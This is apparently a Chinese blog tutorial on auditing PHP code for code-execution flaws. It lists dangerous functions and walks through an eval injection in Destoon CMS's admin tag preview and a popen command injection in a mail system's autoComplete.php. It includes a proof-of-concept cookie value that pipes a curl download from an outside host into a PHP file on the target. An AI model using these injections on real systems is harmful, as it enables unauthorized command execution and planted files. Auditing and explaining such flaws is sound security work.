0x00 背景
代码和命令执行也是获取服务器权限的最直接有效的方法,这篇讲的就是代码审计中代码执行的安全问题。
0x01 危险函数
危险函数主要参考了Seay
的代码审计那本书,有下面几个:
eval()
assert()
preg_replace()
call_user_func()
call_user_func_array()
array_map()
0x02 eval案例
之前审计过Destoon
这款CMS
,发现后台一处代码执行漏洞,漏洞位于admin/tag.inc.php
<?php
case 'preview':
$db->halt = 0;
$destoon_task = '';
if($tag_css) $tag_css = stripslashes($tag_css);
if($tag_html_s) $tag_html_s = stripslashes($tag_html_s);
if($tag_html_e) $tag_html_e = stripslashes($tag_html_e);
if($tag_code) $tag_code = stripslashes($tag_code);
if($tag_js) $tag_js = stripslashes($tag_js);
$code_eval = $code_call = $code_html = '';
if($tag_css) $code_eval .= '<style type="text/css">'."\n".''.$tag_css.''."\n".'</style>'."\n";
if($tag_html_s) $code_eval .= $tag_html_s."\n";
$code_call = $code_eval;
$code_call .= $tag_code."\n";
$tag_code = str_replace('<!--{', '', $tag_code);
$tag_code = str_replace('}-->', '', $tag_code);
if(strpos($tag_code, '",') !== false) {
$tag_code = str_replace(', '.$tag_expires.')', ', -1)', $tag_code);
} else {
$tag_code = str_replace('")', '", -1)', $tag_code);
}
$tag_code .= ';';
ob_start();
eval($tag_code);//eval直接执行1
$contents = ob_get_contents();
ob_clean();
$code_eval .= $contents."\n";
if($tag_html_e) {
$code_eval .= $tag_html_e;
$code_call .= $tag_html_e;
}
$t = str_replace('",', '&debug=1",', $tag_code);
ob_start();
eval($t);//eval直接执行2
$td = ob_get_contents();
ob_clean();
?>
可以很直观看到$tag_code
未经过危险字符的过滤就直接被eval
执行了两次。
直接赋值给tag_code=phpinfo()
可以查看下当前网站的基本信息,我们可以结合echo
命令来进一步达到命令执行的效果如下:
0x03 popen案例
漏洞详情:
某知名邮件系统就被审计出几处命令执行漏洞,其中popen
函数引发的漏洞位于文件/user/autoComplete.php
$arr = explode("&",$_COOKIE["USER"]);
//--验证cookie。
for($i=0;$i<count($arr);$i++)
{
if(ereg("^SKIN=(.*)$",$arr[$i],$reg))
{
$skin = trim($reg[1]);
}
if(ereg("^UID=(.*)$",$arr[$i],$reg))
{
$uid = trim($reg[1]);
}
if(ereg("^DOMAIN=(.*)$",$arr[$i],$reg))
{
$domain = trim($reg[1]);
}
if(ereg("^TOKEN=(.*)$",$arr[$i],$reg))
{
$token = trim($reg[1]);
}
}
$part = $_GET['s'];
//$uid = "support";
//$domain = "xx.com";
$users = readAddress($uid, $domain);
直接从cookie
中获取USER
里的uid
和domain
并赋给了readAddress
函数,然后我们跟进readAddress($uid, $domain);
function readAddress($uid,$domain){
$binary = array();
$userDir = getUserDir($uid,$domain);
$addressDir = trim($userDir, "\n\r ")."/Profile/alias.individual";
if(!is_file($addressDir)) return false;
$fp = fopen($addressDir, "r");
if(!$fp){
echo "打开地址薄失败";
exit;
}
while(false != ($content = fgets($fp, 568))){
$binary[]=unpack("a20nick_name/a40email/a40name/a60h_street_address/a30h_city/a30h_province/a8h_zip/a20h_country/a16h_phone/a30c_company/a60c_street_address/a30c_city/a30c_province/a8c_zip/a20c_country/a16c_phone/a16pager/a16cellular/a16fax/a20icq/a30other/a5b_year/a3b_month/a3b_day",$content);
}
//var_dump($binary);
return $binary;
}
uid
和domain
又进入了函数getUserDir($uid,$domain)
,我们继续跟进getUserDir
function getUserDir($uid, $domain) {
$handle = popen("/var/xxx/sbin/hashid $uid $domain", 'r');
$read = fread($handle, 2096);
pclose($handle);
return $read;
}
我们注意到下面的代码
$handle = popen("/var/*/sbin/hashid $uid $domain", 'r');
这里的/var/*/sbin/hashid
是该邮件系统执行命令的,所以这里uid
和domain
均未进行过滤就直接执行了命令,导致任意命令执行漏洞。
漏洞证明:
访问
时设置cookie
为:
UID=1|curl http://.../test.txt>>testinfo.php
此时会在程序的user
目录下生成testinfo.php
,我们再次访问
即可证明popen
执行curl
命令写入成功:
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章